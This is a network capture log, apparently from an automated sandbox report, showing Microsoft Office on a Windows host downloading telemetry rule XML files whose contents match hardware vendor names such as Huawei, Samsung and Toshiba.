2024-11-20 15:51:51 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 15:51:51 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: 947c7cf8-001e-00a2-018c-3ad4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T155151Z-1777c6cb7542p5p4hC1TEBq09800000009wg000000001pwh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 15:51:51 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.9	49867	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 15:51:51 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 15:51:51 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 15:51:51 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 70a27cfc-201e-0051-268c-3a7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T155151Z-1777c6cb754mqztshC1TEB4mkc00000009t000000000p5k8 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 15:51:51 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.9	49868	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 15:51:51 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 15:51:52 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 15:51:51 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: 70a27cfa-201e-0051-248c-3a7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T155151Z-185f5d8b95cx9g8lhC1NYCtgvc00000002r000000000wtn4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 15:51:52 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.9	49871	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 15:51:53 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 15:51:53 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 15:51:53 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: be70ec4e-301e-000c-088c-3a323f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T155153Z-1777c6cb754j47wfhC1TEB5wrw00000005gg00000000vgen x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 15:51:53 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.9	49872	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 15:51:53 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 15:51:54 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 15:51:53 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 7f65af6f-801e-0067-5f8c-3afe30000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T155153Z-r1d97b99577gg97qhC1TEBcrf400000008sg00000000u0pp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 15:51:54 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.9	49873	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 15:51:53 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 15:51:54 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 15:51:53 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: c6b0c23f-801e-0048-738c-3af3fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T155153Z-185f5d8b95cmd8vfhC1NYC0g4000000006d0000000004uvp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 15:51:54 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.9	49874	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 15:51:53 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 15:51:54 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 15:51:54 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: 3029707a-401e-0047-3163-3b8597000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T155154Z-185f5d8b95cgrrn8hC1NYCgwh40000000a9000000000mkhc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 15:51:54 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.9	49875	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 15:51:53 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 15:51:54 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 15:51:54 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: 65766a7e-a01e-0002-4f8c-3a5074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T155154Z-1777c6cb754xjpthhC1TEBexs800000009mg00000000kfvs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 15:51:54 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.9	49876	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 15:51:55 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 15:51:56 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 15:51:55 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 65766a9d-a01e-0002-6d8c-3a5074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T155155Z-185f5d8b95cdtclvhC1NYC4rmc0000000apg000000001pdb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 15:51:56 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.9	49877	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 15:51:55 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 15:51:56 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 15:51:56 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: fdab78a3-101e-005a-1d8c-3a882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T155156Z-1777c6cb754g9zd5hC1TEBfvpw00000009zg000000008352 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 15:51:56 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.9	49878	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 15:51:55 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 15:51:56 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 15:51:56 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: 538c974f-101e-0028-648c-3a8f64000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T155156Z-1777c6cb7549j9hhhC1TEBzmcc00000009ug000000000a8v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 15:51:56 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.9	49879	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 15:51:56 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 15:51:56 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 15:51:56 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: ac667451-e01e-003c-3e8c-3ac70b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T155156Z-185f5d8b95cp7lkfhC1NYC7rpw0000000an0000000009qbc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 15:51:56 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.9	49880	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
